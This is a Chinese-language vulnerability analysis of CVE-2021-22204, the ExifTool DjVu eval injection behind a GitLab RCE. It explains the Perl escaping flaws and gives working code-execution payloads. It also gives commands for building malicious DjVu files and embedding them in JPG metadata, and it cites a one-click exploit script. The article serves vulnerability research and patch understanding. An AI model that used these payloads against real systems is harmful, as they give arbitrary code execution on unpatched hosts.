運算符相當于使用system
函數(shù),可以用于執(zhí)行系統(tǒng)命令。
要想在這個環(huán)境中執(zhí)行系統(tǒng)命令就需要在變量$tok
包含.
來連接表達式的值和"
來閉合原有的雙引號,或者包含標量${
從而不需要"
和.
,將$tok
替換后如下:
$tok = '".`command`."'; #or '".`command`#"';
$tok = eval "".`command`.""; #or eval "".`command`#"";
#or
$tok = '".qx{command}."';
$tok = eval "".qx{command}."";
#or
$tok = '"${system(command)}"';
$tok = eval "${system(command)}";
了解這些知識后我們再結合源碼來看payload,先看需要進行閉合的payload:
(metadata "\
".`calc`.\"g"
可以看到第一對雙引號之間包含一個反斜杠和換行符,根據(jù)源碼分析,第一步將會提取兩個引號之間的字符串保存在tok變量中,正常情況下提取出來的字符串中不會包含未轉義的引號,這時取到反斜杠+換行符,第二步判斷是否單數(shù)個反斜杠結尾,這里的結尾判斷使用的正則$
匹配,來看看perl官方文檔 對$
的定義:
圖中說明$
匹配字符串的末尾,或字符串末尾換行符之前。也就是說這里沒有匹配到最后的換行符,匹配到了之前的單數(shù)個反斜杠,這時再來看前面關于源碼第二步的分析:
單數(shù)個反斜杠說明該段內容中存在被轉義的引號,則拼接一個引號到字符串中繼續(xù)進行循環(huán)
實際上這里的引號因為換行符的原因并沒有被正確轉義,緊接著拼接了下一個引號之間的內容,最后使用轉義符來結束payload:
.`calc`.\
#結果為
\
".`calc`.\"g
這時帶入eval后已經(jīng)成功脫離字符串上下文,我們就可以使用反引號執(zhí)行任意代碼:
在修改版函數(shù)中運行該payload的結果為:
首次進入變量內容為:(metadata "\
".`calc`.\"g"
獲取的非空字符串為:(
進入遞歸解析
首次進入變量內容為:(metadata "\
".`calc`.\"g"
獲取的非空字符串為:m
獲取的非空字符串為:"
進入子串解析
循環(huán)子串解析
上一個引號偏移量為:11
第二個引號偏移量為:14
切割字符串為:(metadata "\
".`calc`.\"g",起始位置為:11,長度為:2
切割后的字符串為:\
=+\
如果是奇數(shù)個反斜杠結尾,則添加引號字符串為:\
"
循環(huán)子串解析
上一個引號偏移量為:14
第二個引號偏移量為:24
切割字符串為:(metadata "\
".`calc`.\"g",起始位置為:14,長度為:9
切割后的字符串為:\
".`calc`.\=\
"+.`calc`.\
如果是奇數(shù)個反斜杠結尾,則添加引號字符串為:\
".`calc`.\"
循環(huán)子串解析
上一個引號偏移量為:24
第二個引號偏移量為:26
切割字符串為:(metadata "\
".`calc`.\"g",起始位置為:24,長度為:1
切割后的字符串為:\
".`calc`.\"g=\
".`calc`.\"+g
eval執(zhí)行前為:\
".`calc`.\"g
eval執(zhí)行后為:
SCALAR(0x3a8a5b0)
進入遞歸結果為ARRAY(0x3a8c8a0)
關于此類payload的發(fā)現(xiàn)可以參考以下兩篇文章:An Image Speaks a Thousand RCEs: The Tale of Reversing an ExifTool CVE、CVE-2021-22204 - Recreating a critical bug in ExifTool, no Perl smarts required。其中列出了fuzz過程,這里就不進行深入了,實測通過關鍵位置特殊字符fuzz可以觸發(fā)代碼執(zhí)行。
還有一類payload為:
(metadata(Copyright "\c${system(calc)}")
下面來看執(zhí)行結果:
切割后的字符串為:\c${system(calc)}=+\c${system(calc)}
eval執(zhí)行前為:\c\${system(calc)}
eval執(zhí)行后為:
當字符$
進入正則s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge
時會被添加轉義符變?yōu)?code>\$。這時正好和前面的\c
組成了\c\
,查看perl文檔:Quote and Quote-like Operators
從上圖中得知在perl中\c+字符
可以映射到其他字符,計算公式為chr(ord("字符") ^ 64)
,帶入\
得到chr(ord("\\") ^ 64)
,如下:
所以\c\
會得到FS (File Separator) 文件分割符,這時用來轉義的反斜杠就被吃掉了導致轉義失敗。關于此類payload的發(fā)現(xiàn)可以參考以下文章:From Fix to Exploit: Arbitrary Code Execution for CVE-2021-22204 in ExifToo,其中同樣列出了fuzz過程。
漏洞利用
DjVu文件生成
查看DjVu.pm中的相關函數(shù)注釋Process DjVu annotation chunk (ANTa or decoded ANTz)
得知本次漏洞出現(xiàn)在解析DJVU文件的注釋塊ANTa
或者ANTz
過程中:
關于該注釋塊的解釋在文檔DJVU3 FILE STRUCTURE OVERVIEW有所提及,如下圖:
文檔DJVUMAKE
中指出djvumake可以生成DjVu圖像文件,使用djvumake生成需要包含Sxxx
或BGxx
塊,他們可以指向一個文件,如下圖:
使用命令sudo apt-get install -y djvulibre-bin
安裝djvu套件。經(jīng)測試BGjp
和BG2k
塊可以指定任意文件,但關于ANTa
塊的插入文檔并沒有提及。查看DjVumake源碼發(fā)現(xiàn)隱藏參數(shù):
于是我們就可以通過如下命令生成帶有payload的DjVu文件,其中需要使用INFO參數(shù)指定長寬:
$ printf '(metadata "\\\n".`echo 2>/tmp/2`.\\"g"' > rce.txt
$ djvumake rce.djvu INFO=0,0 BG2k=/dev/null ANTa=rce.txt
$ exiftool rce.djvu
另外也可以通過openwall此處公布的命令來創(chuàng)建POC,生成一個pbm格式文件后就可以通過套件中的cjb2
將pbm轉換為DjVu,最后再追加ANTa
注釋塊:
$ printf 'P1 1 1 0' > moo.pbm
$ cjb2 moo.pbm moo.djvu
$ printf 'ANTa\0\0\0\36"(xmp(\\\n".qx(echo 2>/tmp/4);#"' >> moo.djvu
$ exiftool moo.djvu
需要注意ANTa\0\0\0\36
中的36
為ANTa
塊中數(shù)據(jù)的八進制長度,圖例如下:
JPG文件生成
同樣在源碼中發(fā)現(xiàn)解析JPG文件過程中對元數(shù)據(jù)標簽HasselbladExif(0xc51b)
存在遞歸解析,這時就需要尋找將DjVu文件插入到HasselbladExif
標簽中的方法,原作者文章中指出了一種方法,在exiftool官方配置文檔中也可以查詢到相關用法,通過編寫eixftool配置文件來自定義標簽表:
配置文件如下,保存為configfile:
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
通過如下命令來加載配置文件插入DjVu文件到指定標簽內,從而生成帶有payload的正常JPG文件:
exiftool -config configfile '-HasselbladExif<=exploit.djvu' image.jpg
還有一種方法是不通過配置文件,通過exiftool參數(shù)直接插入標簽,如下說明:
但是HasselbladExif
標簽并不是直接可寫的:
這時可以通過插入可寫標簽GeoTiffAsciiParams
后替換文件指定字節(jié)為HasselbladExif
標簽即可,流程如下:
exiftool "-GeoTiffAsciiParams<=moo.djvu" tim22g.jpg
sed 's \x87\xb1 \xc5\x1b g' tim22g.jpg > trce.jpg
首先插入GeoTiffAsciiParams
標簽后通過exiftool -v10 tim22g.jpg
查看其標簽id為0x87b1
然后使用sed命令替換為0xc51b
即可,如下圖:
可以通過其他安全研究員編寫的腳本來一鍵生成,只需要一張圖片即可。github地址為:AssassinUKG/CVE-2021-22204
腳本中插入的DjVu注釋塊是ANTz
,使用了Bzz壓縮,壓縮后不具有文本可讀性,如下圖:
漏洞修復
12.24版本的更新:
上圖中可以看到更新后采用了硬編碼的形式通過搜索和替換來處理C轉義字符,并且刪除了eval函數(shù),徹底修復了此處的漏洞。文章來源:http://www.zghlxwxcb.cn/news/detail-623891.html
總結
本篇分析下來可以看到在此漏洞的利用中可以使用多種多樣的方式。對于軟件功能技術、安全防護日新月異的今天,看似漏洞挖掘利用越來越難以進行,其實考驗我們的是思維的發(fā)散程度以及對底層知識掌握的廣度與深度。萬變不離其宗,以不變才能應萬變。文章來源地址http://www.zghlxwxcb.cn/news/detail-623891.html
到了這里,關于CVE-2021-22204 GitLab RCE之exiftool代碼執(zhí)行漏洞深入分析(二)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!